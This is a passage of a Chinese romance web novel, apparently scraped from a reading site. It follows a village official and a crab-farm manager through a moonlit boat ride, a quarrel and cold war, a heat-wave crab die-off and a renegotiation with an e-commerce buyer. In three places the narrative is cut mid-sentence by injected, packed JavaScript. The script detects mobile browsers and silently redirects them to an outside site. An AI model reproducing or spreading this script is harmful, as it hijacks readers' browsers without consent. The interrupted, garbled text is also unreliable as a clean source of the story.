余楸站在湖边,望着那艘随波轻晃的小木船,月光在船板上洒下细碎的银辉。 原朗站在船头,闻言挑眉:“你还想给我点别的?” “才没有!” 余楸耳尖发烫,却还是把手搭在了他伸来的掌心上。 小船轻轻摇晃着离岸。 原朗划桨的动作娴熟,肌肉线条在月光下若隐若现。余楸坐在船头,低头摆弄着衣角,不敢抬头看他。 湖水轻拍船身的声音在夜色中格外清晰,偶尔有鱼儿跃出水面,溅起晶莹的水花。 原朗缓缓开口:“我第一次见你穿渔家女装直播,就在这条船上。” “夕阳照在你身上,你唱着渔歌,美得不像真的。” 余楸还是不太习惯这样直白的赞美,何况,还是从原朗嘴里说出来的。 混蛋。 但是是个可爱的混蛋。 她在心里说着。 “当时我就有种奇怪的感觉。我的心,好像不受控制一样,从胸腔里飞了出去,飞到你的身边,把你仔仔细细地看上一遍又一遍,然后回来,回到我这里,带着我这辈子都不会忘记的那一幕。” 桨声与水声交织,男人的声音深沉而有力。 “后来我才明白,那大概就是心动。” 夜风拂过柳枝,沙沙作响。远处村庄的灯火星星点点,倒映在湖面上,像是天上的星河坠入了水中。 余楸的心跳快得不像话,她从未想过,他们的故事开始得那么早。 “你记得真清楚。” 她小声说,手指无意识地划过清凉的湖水。 原朗停下划桨,任由小船在湖心轻轻打转。 “关于你的事,我都记得。” 月光下,他的轮廓镀着一层柔和的银边,眉眼间的温柔几乎要溢出来。 余楸莫名想起他办公室里那本记满蟹塘数据的笔记本——也许,他也会像这样细致地记住与她有关的点点滴滴。 “给我唱首歌吧。”原朗轻声请求。 “就唱那首渔歌,好不好?” “那首,你不是听过很多遍了嘛?” “你唱的,听多少遍都不腻。” 歌声在湖面上轻轻荡开,余楸的声音清亮婉转,带着渔家特有的韵味。 原朗静静地听着,手指在船沿打着节拍,嘴唇无声地跟着哼唱。 余楸惊讶地发现,他竟然把每一句歌词都记得一字不差,歌声不自觉地更加柔软。 最后一个尾音消散在夜风中,世界突然安静下来。湖面平静如镜,倒映着满天星斗。 余楸望着原朗被月光勾勒的侧脸,一种莫名的冲动抵破心脏,直达脑海。 她想做一件事,一件很大胆的事。 “阿原。”余楸柔声喊他。 “我在。” “要天天开心。” 她闭上眼睛,主动吻了上去。 男人明显怔了一瞬,随即用力将她搂进怀里。这个吻比之前的任何一次都要炽热,他几乎是用尽全力抱紧她,仿佛要把她揉进骨血里。 小船因为两人的动作剧烈摇晃,溅起的水花打湿了余楸的裙角,但她已无暇顾及。 直到呼吸变得困难,两人才依依不舍地分开。 原朗的额头抵着她的,呼吸还有些不稳。 “这是最好的生日礼物。” 余楸红着脸靠在他肩上,听着他有力的心跳。夜风轻拂,带着湖水特有的清新气息。远处传来几声蛙鸣,更显得此刻的宁静美好。 “我们该回去了。” 她小声说,“再晚爸妈该担心了。” 原朗轻笑一声,重新拿起船桨:“遵命,余塘主。” 回程的小船划破平静的湖面,留下一道渐渐消散的水痕。余楸看着岸边越来越近的柳树,突然希望这段路能再长一些。 当小船靠岸时,原朗先一步跳下,转身向她伸出手。余楸搭着他的手准备上岸,却被他突然拦腰抱起。 “原朗!”她惊呼一声,下意识搂住他的脖子。 “嘘——” 他坏笑着压低声音,“寿星特权。” * 余楸渐渐发现,自从确定关系后,原朗就像变了个人——准确地说,是彻底撕下了那层“原书记”的矜持外衣,露出了本性里黏人又爱撒娇的一面。 村委会例会上,她正认真汇报蟹塘近况,原朗突然在桌下用膝盖轻轻碰了碰她的腿。 余楸抬头瞪他,却见他一脸无辜地举起笔记本,上面写着:【我的剃须刀去哪了?】 “咳咳!” 余楸被自己的口水呛到,整张脸瞬间涨得通红。 “秋秋身体不舒服?”林书记关切地问。 “没、没事!” 她慌忙摆手,在笔记本上狠狠写下:【在家!别闹!】 推回去时还用力掐了一下原朗的手背。 男人吃痛地“嘶”了一声,眼底却满是得逞的笑意。 这样的戏码几乎每天都在上演。 起初余楸还会羞恼地跺脚,后来她发现,越是害羞,原朗就越来劲。 现在村里人见到他俩走在一起,都会笑眯眯地打趣:“原书记,又欺负我们余丫头呢?” “哪敢啊。” 原朗总是大大方方地搂住她的肩,“我这是疼她。” 余楸恨不得找个地缝钻进去,偏偏这人的手像铁钳似的挣不开。久而久之,她也学会了面不改色地踩他一脚,然后在他吃痛松手时迅速溜走。 但独处时才是原朗最肆无忌惮的时候。 比如现在,余楸正坐在书桌前整理蟹塘数据,身后突然贴上来一具温热的身体。原朗的下巴搁在她肩上,鼻尖在她颈间蹭来蹭去,活像只大型犬。 “你是狗吗?”余楸无奈地用笔杆戳他额头。 “嗯。” “是你的狗。” 原朗理直气壮地回答,又凑近嗅了嗅,“这个洗发水不好闻,我喜欢你之前的橙子味。” “爱闻不闻!” 余楸红着耳朵推开他,“别打扰我工作。“ 原朗却变本加厉,直接把她抱起来放在自己腿上:“那你工作,我看你。” “你这样我怎么工作?”余楸挣扎着想下去,却被他搂得更紧。 “我教你个办法。” 原朗坏笑着凑近,“亲我一下,我就放开你。” 余楸气鼓鼓地瞪他,最终还是飞快地在他唇上啄了一下。刚要逃开,后脑勺就被扣住,这个蜻蜓点水的吻立刻变成了缠绵的热吻。 “骗子......”被放开时,余楸气喘吁吁地指控。 原朗笑得一脸餍足:“我说放开,又没说什么时候放开。” 最让余楸哭笑不得的是,这人连吃醋都吃得 有次她去县城参加养殖培训,和隔壁村的年轻技术员多聊了几句,回来就被原朗堵在蟹塘边“审问”了半小时。 “他就比我好?”原朗捏着她的下巴,语气酸得能腌黄瓜,“比我高?比我帅?” 余楸故意气他:“人家态度可好了,哪像你......” 话没说完就被封住了唇。这个吻带着惩罚的意味,结束时余楸腿都软了,只能挂在他身上喘气。 “再说别人好试试?”原朗咬着她的耳垂威胁。 余楸捂着被咬疼的耳朵,也不说话,只瞪着他。 男人的气焰立刻消了不少,捉着她的手玩,语气闷闷:“我、我错了。” “但是真的不许看别人,也不许说别人好。” “你只能看我,我最好。” 余楸嘴上抱怨他霸道,但心里却是享受的 ——虽然她很不愿意承认这一点。 因为原朗的黏人还是有分寸的——在重要场合从不越界,工作起来依然雷厉风行。这份反差反而让她更加心动。 就像此刻,前一秒还赖在她身上撒娇的人,接到工作电话后立刻恢复了那副沉稳干练的模样。 余楸望着他线条分明的侧脸,忍不住凑上去亲了一下。 原朗挑眉看她,对着电话说了句“稍等”,然后扣住她的后颈深深吻了回来。 “等我回来继续。” 挂断电话时,他意犹未尽地摩挲着她的唇瓣。 余楸红着脸推他:“谁要跟你继续!赶紧走!” 原朗大笑着出门,临走还不忘回头叮嘱:“记得换回橙子味的洗发水!” 余楸抓起抱枕砸向已经关上的门,嘴角却不受控制地上扬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她得意地笑起来,三两下撕开包装纸,“原朗啊原朗,防得住吗?” 冰凉的甜香近在咫尺,她迫不及待地张嘴—— 手腕突然被扣住。 “你今天已经吃了两根了。” 原朗的声音从头顶传来,低沉又危险。 “不能再吃了。” 余楸浑身一僵,缓缓抬头。 原朗不知什么时候站在她身后,衬衫袖口卷到手肘,露出线条分明的小臂。他刚洗过脸,发梢还滴着水,眼神却锐利得像盯住猎物的鹰。 “你、你不是去村委会了吗?” 余楸结结巴巴地问,手腕挣了挣,没挣开。 “回来拿文件。” 原朗眯起眼,“倒是你,偷偷摸摸的,干什么呢?” 余楸心虚地别开眼:“我......我来打酱油!“ “打酱油需要开冷冻层?” “......” 余楸恼羞成怒,索性破罐子破摔:“我就吃!这么热的天,凭什么不让我吃!“ 原朗皱眉:“你忘了上次疼得直冒冷汗的样子了?” “我自己的身体我自己清楚!”她梗着脖子反驳。 “再说了,我珍惜我的嘴巴也是珍惜我的身体啊!” 原朗被她这歪理气笑了。 “余楸,你能不能讲点道理?” “我怎么不讲道理了?” “我不就是想吃点冰淇淋吗?” “我知道我肚子疼,我也愿意用肚子疼去换口福。” “碍着你什么事了吗?” 余楸越说越委屈,“以前阿源哥才不会管我呢!他的零花钱都存着给我买冰淇淋。” “就你这么小气!” 话一出口,她就愣住了。 空气瞬间凝滞。 原朗的表情肉眼可见地冷了下来。 他松开她的手腕,声音平静得可怕。 “余楸。” “在你心里,我是不是永远都比不上他?” 35. 替身 余楸张了张嘴,却发不出声音。 原朗的眼神让她心脏揪紧——那不是愤怒,而是一种深藏的受伤。他后退一步,转身去拿桌上的文件,动作干脆得像是要斩断什么。 “原朗,我不是那个意思......” 余楸慌了,冰淇淋化在手里,黏腻的巧克力顺着指缝滴落。 原朗头也不抬地整理文件,语气平淡:“你去忙吧,我还要去镇上开会。” 他越是平静,余楸就越心慌。她下意识抓住他的衣角:“原朗,原朗我……” 原朗终于抬眼看她,目光复杂。 “余楸,我管你是因为在乎你。如果你觉得这种关心是束缚,那我们可以……” “可以重新考虑这段关系。” 像是一盆冷水浇下来,让余楸浑身冰凉,她的手指猛地松开。 原朗没再说什么,拿着文件离开了。 厨房里只剩下余楸一个人,呆呆地看着化成一滩的冰淇淋。 整整一天,余楸都魂不守舍。 塘里的增氧机坏了,她修了半天都没反应,最后发现是插头根本没插;喂食时把饲料撒得到处都是,惹得螃蟹们挤作一团打架;就连林小樱跟她说话,她都答非所问。 “你跟原书记吵架了?”林小樱一针见血。 余楸闷闷地“嗯”了一声。 “因为什么?” “冰淇淋。” 林小樱不知道说什么好,余楸又何尝不是呢? 所以,越甜蜜,越痛苦。 是这样吗? * 持续的高温像一层密不透风的蒸笼,将整个渔村裹得严严实实。 余楸蹲在五号塘边,手指拨弄着漂浮的水草,眉头紧锁。水面上零星浮着几只翻白的螃蟹,更多的则无精打采地趴在浅水区,连钳子都懒得动一下。 “余丫头,五号塘又死了二十多只。”老张头提着水桶走过来,额头上全是汗,“再这样下去,今年的收成就......” “我知道。”余楸打断他,声音干涩得像是被烈日烤过,“您让村民们都放心,我一定会想办法解决的。” 她站起身,眼前一阵发黑,连忙扶住旁边的柳树。 已经整整七天了。 自从那次因为冰淇淋的争吵后,她和原朗就陷入了前所未有的冷战。 她赌气不去找他,而他竟然也真的不来找她。 村委会的例会上,他公事公办地布置工作,眼神从不在她身上多停留一秒。塘边巡查时偶遇,他也只是点点头就擦肩而过。 前天的工作汇报会上,她因为睡眠不足记错了一个数据,原朗当场就冷着脸说:“余塘主,如果你连基本的数据都记不清楚,不如回家好好休息。” 余楸知道,他在阴阳怪气自己不负责任。 那样陌生而冷淡的语气刺伤了她,仿佛他们只是最普通的同事关系。 “余丫头,余丫头!你看这增氧机......” 余楸勉强打起精神:“我去看看。” 检查完所有设备已是傍晚。余楸拖着沉重的步伐往家走,汗水浸透了后背的衣衫。 她很难受,身体和心理都是。 路过小卖部时,她习惯性地停下脚步,却又在想起什么后咬咬牙继续往前走。 没有冰淇淋的日子,连解暑都成了煎熬。 走到村委会附近,她突然听到一阵谈笑声。抬眼望去,只见原朗正和一个陌生男子站在门口说话。那人穿着整洁的衬衫,戴着眼镜,看起来文质彬彬的。 “余塘主!”那人看见她,眼睛一亮,快步走过来,“还记得我吗?上周在市里的水产交流会上我们见过。” 余楸愣了一下,随即想起来:“啊,是李村官。” “对对对,没想到你还记得。”李村官笑得腼腆,“我今天来你们村交流学习,正好有些养殖方面的问题想请教你。” 余楸刚要回答,就感觉一道锐利的视线刺在背上。不用回头也知道是谁在看她。 “当然可以。” 她故意大声说,“要不现在就去塘边看看?” “那太好了!谢谢你!”李村官的语气里是藏不住高兴。 “那个,余塘主,镇上新开了家不错的鱼馆。待会儿交流结束,我能请你吃个晚饭吗?” 这个年轻的村官不会收束自己的情绪——不像原朗。 “好啊。”余楸爽快地答应,“那就多谢您了!” 眼角余光瞥见原朗转身进了办公室,门关得震天响。 她心里有些畅快,但转瞬即逝。 李村官被她带着参观完蟹塘,一路上问了不少专业问题。余楸虽然心不在焉,但还是耐心解答着。 临别时,李村官再次邀请:“那晚饭......” “抱歉,我突然想起来还有工作没做完。”余楸勉强笑笑,“改天吧。” 送走李村官,余楸独自站在塘边发呆。 夕阳把水面染成橘红色,美得让人心碎。她多想找个人说说蟹塘的困境,说说自己的担忧,可是那个最该听她倾诉的人,现在却连看都不愿多看她一眼。 “怎么,约会取消了?” 熟悉的声音在身后响起,带着明显的讽刺。余楸转身,看见原朗倚在柳树下,双手插兜,表情冷淡。 “关你什么事?”她下意识反击。 “确实不关我的事。” 原朗耸耸肩,“只是提醒你,现在塘里情况这么糟,余塘主还有闲情逸致谈天说爱,真是令人佩服。” 余楸气得胸口发闷:“原朗,你什么意思?” “字面意思。” 他走近几步,眼神锐利,“那位李村官看起来挺喜欢你啊,专程跑来请教问题,还约你吃饭。” “你管得着吗?” 余楸仰起脸瞪他,“我们不是要''重新考虑这段关系''吗?” “是啊。” “所以我现在只是来提醒你。” 否则,我他爹的早就把他揍得夹着屁股跑了。 原朗转身就走,背影僵硬而决绝。 余楸站在原地,突然觉得鼻子发酸。 她卑劣地希望原朗能像以前那样吃醋,那样霸道地宣示主权,而不是这样冷嘲热讽。 * 傍晚的夕阳像打翻的橙汁,将整个渔村染成暖色调。 余楸拖着沉重的步伐从蟹塘回来,草帽下的发丝被汗水浸透,黏在通红的脸颊上。 连续三天的高温,塘里的螃蟹已经死了近百只,她急得嘴角都起了泡。 拐过村口的老槐树,她突然停住脚步。 原朗站在她家院门前,手里拎着个保温袋,正低头看表,眉头微蹙的样子像是在为什么事烦心。 余楸的心猛地一跳,下意识攥紧了手中的记录本。自从那次争吵后,他们已经整整十天没有好好说过话了。 “回来了?” 原朗抬头看见她,语气平淡得像在问候一个普通村民。 余楸抿了抿干燥的嘴唇:“有事吗?” 原朗走近两步,将保温袋递过来。 “什么东西?”她没有伸手接。 “自己看。”他的声音依然冷硬。 余楸迟疑地接过保温袋,打开一看,里面整齐地码着六根红糖姜汁冰棍,每根都细心地用油纸包好,上面还贴着标签:【暖宫专用,一天最多两根】。 她的手指微微发抖,眼眶突然有些发热。 “我问过镇上的老中医,”原朗别过脸不看她,“这种加了姜汁和红糖的,不会伤胃。以后想吃就吃这种。” 就这? 余楸攥紧保温袋,胸口像是堵了团棉花。 十天不见,他就只来说这个? 那些冷战,那些伤人的话,就这么轻描淡写地揭过去了? “谢谢原书记关心。”她听见自己冷冰冰的声音。 “不过不用了,我以后都不吃冰淇淋了。” 原朗的表情僵了一瞬:“你……” “还有事吗?” 她强迫自己直视他的眼睛,“没事的话我要去整理今天的监测数据了。最近螃蟹死了不少,我可没原书记这么闲。” 原朗的下颌线绷紧,眼神暗了下来。 “哼,随便你。” 他转身就要走,余楸突然叫住他:“等一下!” 男人停住脚步,但没有回头。 “你就没什么要说的吗?” 余楸的声音有些发抖,“十天了,你除了来送这个,就没有别的话要对我说?” 她知道自己这个样子很狼狈,也很让人厌烦。 刚刚是她让原朗走的不是吗?现在又想听他说些什么呢? 他还愿意跟她说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898668|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢? 原朗慢慢转过身,眼神淡漠。 “你想听我说什么?” “说你这十天为什么不理我!” “说你为什么在会议上当众批评我!说你为什么明明看见我和李村官说话,却只是冷嘲热讽!” “那你呢?”原朗的眼神也锐利起来。 “你记得自己说过什么吗?” “你说,''阿源哥才不会管我呢'',''他的零花钱都存着给我买冰淇淋''。” “余楸,你大可以直接告诉我,在你心里,我永远比不上贺源。” “不要这样耍我玩吊着我,不要这样对我好然后又时不时地提醒我,我他爹的就是个破替身!” “我那是气话!” “余楸的眼眶红了,她忍不住,真的忍不住那股悲伤。尤其是听到原朗说,他是个破替身的时候。 为什么,为什么她明明从来都没有这样想过,却始终不能改变原朗的想法呢? 为什么原朗一次又一次地为这件事纠结,为什么自己,又这么没出息地心疼他。 余楸抹去眼泪,死死地抠着手,好让自己的声音听起来正常一些。 “你不是也对我说了狠话吗?” “你说要''重新考虑这段关系''!你知道我听到这话有多难受吗?” 余楸不懂,原朗怎么能这么轻易地说出这样伤人的话。 重新考虑,不就是要分手吗? 可他们,明明才在一起不久啊。 骗子,就是个骗子。 “那你觉得我听到你那些话好受吗?” 原朗的声音低沉下来,“余楸,我不是在管你,我是在乎你。可你宁愿去找别人倾诉,也不愿意跟我好好说话。” “你把话说清楚,我找谁了?” “李村官不是吗?”原朗冷笑,“我看你们聊得很开心啊。” 余楸气得浑身发抖:“所以你是在吃醋?就用这种方式?冷暴力?当众给我难堪?” “那你想要我怎样?” 原朗突然提高了声音,“像条狗一样摇尾乞怜吗?” “是你说的!你没有把我当成那个贺源的替身,可是你总是把我跟他比较,你总是下意识觉得我没有他好。” “余楸,我也是人,我也会受伤!” 沉默,无尽的沉默。 余楸从没见过原朗这样失控的样子,他向来都是从容不迫的。 窒息的氛围在两人之间蔓延。夕阳已经完全沉下去了,暮色笼罩着他们。 “我没……”余楸张了张嘴,却不知道该说什么。 原朗深吸一口气,恢复了平静:“算了。你也不用说什么了。冰棍你留着吧,不想吃就扔掉。” 他转身离开,这次没有停留。 余楸站在原地,看着他的背影消失在夜色中。 眼泪终于夺眶而出,模糊了整个世界。 推开院门,余楸机械地把冰棍放进冰箱,然后蜷缩在台阶上,身影显得格外单薄,像是会被夜风吹倒。 她颤抖着打开一根,一边抽泣一边小口咬着冰棍,红糖的甜味和姜的辛辣在舌尖蔓延,明明是暖身的配方,却让她心里更冷了。 原来爱情,都是这么脆弱的。 仅仅因为几句气话,就能让两个原本亲密无间的人互相伤害,变成如今的模样。 余楸想起原朗刚才说的话,他说他会受伤。 是啊,她只顾着自己的委屈,却忘了原朗也会难过。那个总是强大自信的原朗,原来也会因为她的一句话而痛苦。 余楸知道,是自己有错在先。 可不知为什么,面对原朗,她总是会变得不像自己,变得更任性、更不讲道理,而忽略了他的感受。 “对不起……” 余楸低头看着手中的冰棍,融化的糖水滴在裙摆上,留下深色的痕迹——就像这场争吵在他们之间留下的伤痕,不知道还能不能愈合。 不知道过了多久,余楸终于吃完了那根冰淇淋。抬起头,恍惚间似乎看到槐树下有个熟悉的身影。 但当她擦干眼泪再看时,那里只有被风吹动的树叶,沙沙作响,像是在嘲笑她的自作多情。 她低头看着手中已经化了一半的冰棍,突然觉得嘴里甜得发苦。 这段感情,是不是就像这冰棍一样,看似甜蜜,实则很快就会融化殆尽? 36. 酒吻 * 清晨五点,余楸已经蹲在塘边三个小时了。她手里捏着一只刚捞上来的螃蟹,指尖发颤——蟹壳软得像是煮过头的面条,轻轻一按就凹陷下去。 “又一批提前蜕壳的。” 林书记提着水桶走过来,声音沙哑,“一号塘已经八成都是软壳蟹了。” 余楸的喉咙发紧。 距离电商大单交付只剩十天,这批本该肥美饱满的螃蟹却因为持续高温集体提前蜕壳,品质完全达不到合同标准。 “增氧机再调高两档。”她声音干涩,“把备用的冰袋都放进去降温。” “都试过了,”林书记摇头,“这天气,真是见了鬼了。” 余楸抹了把脸上的水珠,分不清是汗水还是泪水。这是村里接到的最大一笔电商订单,关系到整个村子的收入。 如果违约,不仅要赔偿巨额违约金,更会失去来之不易的商业信誉。 村委会办公室里,气氛凝重得像灌了铅。 余楸将检测报告摊在桌上:“目前存活率还有七成,但符合标准的不到三成。” “能不能延迟交货?”林书记皱眉问道。 “合同规定得很死,”余楸摇头,“延迟一天扣10%货款,超过三天直接取消订单。” 角落里,原朗一直沉默地翻看着资料。 自从上次争吵后,他们在公开场合都保持着表面的公事公办。此刻他抬头,目光扫过余楸憔悴的脸,眉头几不可察地皱了一下。 “我查了些资料,”他的声音平静,“高温期螃蟹提前蜕壳是正常现象,但如果能控制水质和营养,新壳硬化时间可以缩短。” 余楸抬头看他,原朗却已经移开视线,将一叠打印资料推到桌子中央:“这是我能找到的所有应急方案。” 资料上密密麻麻都是手写批注,有些地方甚至标注到凌晨三点的时间。 余楸心头微动,但很快又强迫自己集中精力到问题上。 “我建议分组行动,”她声音沙哑,“一组负责水质调控,一组加强营养投喂,还有一组......” 会议结束后,余楸留在办公室整理资料。透过半开的门缝,她看见原朗站在走廊尽头打电话。 “情况不太好。”他声音压得很低,“持续高温,螃蟹大面积蜕壳,有可能来不及交货。嗯,我知道......” 电话那头是沈却的声音:“你声音听起来很累,不只是因为螃蟹的事吧?” 原朗沉默了几秒,没接话:“挂了。” 余楸急忙低头假装看文件。原朗走回办公室时,两人目光有一瞬的交汇,又同时避开。 接下来的日子,全村人都投入到了抢救行动中。余楸几乎住在了塘边,日夜监测水质变化。她眼下的青黑越来越重,有次巡塘时甚至差点栽进水里。 “余丫头,回去休息会儿吧。”老张头劝道,“你这样下去要垮的。” “没事。”余楸摆摆手,却突然被一阵眩晕击中,踉跄着扶住旁边的树。 一双有力的手臂及时扶住了她。 余楸抬头,对上原朗深不见底的眼睛。 “去休息。” 他声音低沉,不容拒绝,“这里我看着。” “我还能......” “这是命令,不是商量。” 原朗的语气强硬,但扶着她手臂的力道却轻柔得不可思议。 余楸想反驳,却发现自己连站稳的力气都没有了。她被半扶半抱地带到值班室,原朗倒了杯温水塞进她手里。 “你......”余楸想说什么,却见男人已经转身离开,只留下一句:“睡两小时,我叫你。” 值班室的门被轻轻关上,余楸发现桌上放着一份还温热的小米粥和一瓶眼药水——她这两天眼睛红肿得厉害,一直在揉。 她按住自己发烫的眼眶,仰躺在椅子上。木椅不堪重负似的发出“咯吱咯吱”的声音,像她的心一样。 余楸最终只是机械地吃完食物,强迫自己闭眼休息。 两小时后,原朗准时来敲门,他没有进来,却只站在门外说话:“三号塘溶氧量上来了,新投放的钙质饲料螃蟹吃得不错。” 余楸整理好自己出来时,他已经去了别的塘区。桌上放着一本崭新的笔记本,里面详细记录了这两个小时的所有监测数据和应对措施,字迹工整得像印刷品。 这样的默契配合持续了三天。 原朗总是出现在她最需要帮助的时刻,却又保持着恰到好处的距离,从不越界。 余楸发现自己在疲惫时会不自觉地寻找他的身影,又在意识到后迅速移开视线。 第四天清晨,余楸在塘边发现了裴知路。 “原朗让我送这个给你。”裴知路递来一个文件袋,“他说......呃,他说你可能用得上。” 文件袋里是一份详尽的应急方案,从水质调节到营养配方,甚至还有与电商协商的备用方案。每一页都写满了批注,有些地方反复修改多次,看得出花了大量心血。 余楸的手指轻轻抚过那些字迹:“他为什么不自己来?” 裴知路挠挠头:“他……” “他有事情吧。” 哼,能有什么事? 左不过,是不想见到她这件事。 余楸胸口一闷,想说些什么,最终只是低声道了谢。 一周过去,尽管全村人拼尽全力,螃蟹的品质还是没能达到合同要求。 余楸站在村委会门前,看着垂头丧气的村民们,做出了最终决定。 “我明天,会去市里见电商负责人。争取重新协商交货条件和赔偿方案。”她的声音很轻,但很坚定。 会议室里鸦雀无声。 所有人都知道,这意味着要承受巨大损失,但确实已经没有别的办法了。 “原书记呢?”林书记突然问道,“他今天怎么没来?这个决定,应当要通知他的。” 余楸这才注意到原朗的座位空着。这些天他几乎没怎么休息,该不会是累病了吧? “秋秋,我陪你去市里吧。”林书记拍拍她的肩,“这事不能你一个人扛。” 余楸点点头,心里却莫名有些失落。 她本以为...... 不,她不该有任何期待。 * 第二天一早,余楸收拾好资料准备出发。她眼下挂着浓重的黑眼圈,嘴唇因为焦虑而干裂。 走到村口时,一辆熟悉的红色跑车突然在她面前急刹停下。 车窗降下,露出原朗疲惫却依然英俊的脸。他看起来也很久没好好休息了,下巴上冒出了青色的胡茬,眼睛里布满血丝。 余楸下意识后退半步,二人相顾无言,就这样僵持不下。 “我不想和你吵架。”是余楸先开口,“我今天要和林书记一起去市里。你知道的不是吗?” “为什么是和林书记,不是和我?”他的声音沙哑得厉害。 “还是说,你真的不想再看见我了?” 余楸坐在酒店会议室的真皮座椅上,指尖无意识地摩挲着文件边缘。会议室里空调的冷风让她裸露的手臂泛起一层细小的疙瘩。 她偷瞄了眼身旁的原朗,他正专注地翻阅资料,修长的手指在纸页间翻动,眉头微蹙的样子一如从前般令人心动。 “紧张?”原朗突然开口,声音压得很低。 余楸的手指一顿:“有点。” 她老实承认,随即又补充道:“但该赔的钱一分不会少。” 男人的目光在她脸上停留了两秒,似乎想说什么,却被推门声打断。 电商平台的采购总监刘明带着助理大步走了进来。余楸立刻站起身,黑色西装裙勾勒出她挺拔的身姿:“刘总您好,感谢您抽空见面。“ 刘明是个四十出头的中年男子,眼神犀利如鹰隼。他接过余楸递来的资料,快速浏览后眉头越皱越紧:“余小姐,这批货的质量和合同约定相差太远了。” “是的刘先生,我们非常抱歉。” 余楸诚实地点头,从公文包中取出一个牛皮纸信封,“我们的违约金,按合同约定的20%货款计算,一共是二十万。” “这里是八万六千元,剩下的部分,请您再宽容我们一段时间。” 她将信封推向刘明,动作干脆利落:“现金支票,随时可以兑现。” 刘明明显愣了一下,显然没料到这个年轻姑娘如此干脆。他接过信封,抽出支票仔细查看,确认无误后表情缓和了些:“余小姐倒是爽快人。” “应该的。” 余楸双手交叠放在桌面上,指甲修剪得圆润整齐,“合同就是合同,我们村虽然小,但做生意讲究诚信。” 她从文件夹中取出另一份文件:“这是我们整理的详细情况说明和质检报告。连续异常高温导致螃蟹集体提前蜕壳,确实是不可抗力。但该承担的责任我们绝不推诿。” 刘明翻阅着报告,余楸继续道:“目前仍有30%的螃蟹符合标准,我们会优先保证这部分按时交付。至于剩余部分...…” “余小姐,”刘明打断她,“违约金我收了,但我必须要说的是,这批货我们平台宣传都打出去了,消费者预订了近千单,这个损失可不是违约金能弥补的。” 余楸的指尖在桌下微微发颤,但面上依然从容:“刘先生,我完全理解您的不满。所以我们准备了两个补救方案。” 她翻开方案书:“方案一,我们联系了省水产研究所的专家,可以提供权威的不可抗力证明,帮助贵平台向消费者解释;方案二,我们愿意以成本价提供明年春季的第一批蟹苗预订权作为补偿。” 刘明若有所思地摸着下巴。 余楸注意到他无名指上的婚戒在灯光下闪着微光,便又补充道:“另外,我们村的手工蟹酱在周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906281|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边很有名气,如果贵平台有兴趣,我们可以免费提供200瓶作为赠品安抚消费者。” 会议室陷入短暂的沉默。 余楸似乎感觉到原朗的目光落在她身上,带着某种她许久未见的温度。 “有意思。”刘明突然笑了,“余小姐年纪轻轻,做事倒是周全。” 他合上文件夹,“行,就按你说的办。合格的那部分按时交付,其他的,我们另行协商。” 余楸悬着的心终于落地,她站起身,郑重地向刘明伸出手:“感谢您的理解。我们村虽然现在遇到困难,但绝不会让合作伙伴吃亏。” 刘明握住她的手,突然问道:“余小姐是村里的大学生村官?” “不,”余楸微笑摇头,“我就是这个村长大的。大学毕业后回来创业,现在负责村里的水产合作社。” 走出会议室时,余楸的西装后背已经微微汗湿。原朗不动声色地递来一瓶矿泉水,指尖相触的瞬间,两人都像被烫到般迅速分开。 “违约金……”原朗欲言又止。 “村里的应急资金,拿了一部分。”余楸轻声解释,“大家开会决定的。做错事就要认,赔钱也要赔得明明白白。” “剩下的,我会想办法。” 原朗深深看了她一眼,但他什么也没说。只是在她差点被地毯绊倒时,稳稳扶住了她的手臂。 那一触即离的温度,却让余楸心尖滚烫。 谈判结束后的盐台市华灯初上。余楸独自走出酒店旋转门,潮湿的夜风迎面扑来,带着水乡城市特有的味道。 霓虹灯将街道染成迷离的紫红色,行人如织的步行街上,欢笑声、叫卖声交织成一片,却让她的孤寂感愈发鲜明。 高跟鞋踩在花岗岩地面上发出清脆的声响。余楸知道原朗就跟在身后三米处。 他的脚步声她太熟悉了,那种不紧不慢的节奏,就像他这个人一样,永远从容不迫。 他为什么不自己开车回去? 是想看看她落魄的样子吗? 路过一家24小时便利店时,余楸突然拐了进去。冰柜的冷气扑面而来,她随手抓了三罐啤酒,结账时才发现自己的指尖冰凉。 “需要开瓶器吗?”收银员问道。 余楸摇摇头,指甲抵住拉环用力一掀,“啪”的一声脆响在安静的店里格外刺耳。 走出便利店,她靠在一盏老式路灯旁。铁质灯柱上锈迹斑斑,灯泡发出滋滋的电流声。 余楸仰头灌了一大口酒,冰凉的液体滑过喉咙,带起一阵灼烧感。 第二口还没喝到,手中的易拉罐就被人一把夺走。 “怎么,”余楸头也不回地说,声音里带着刻意的轻佻,“你管天管地管我吃冰淇淋,现在连喝酒也要管?” 原朗站在灯影交界处,半边脸隐在黑暗中。 此刻那双修长的手捏扁了她的啤酒罐,指节因用力而发白。 “大晚上的你一个人在路边喝酒,”他的声音比夜风还冷,“自己酒量多差不知道吗?有没有点自我保护意识?” 余楸终于转身看他,路灯将她的影子投在原朗身上。 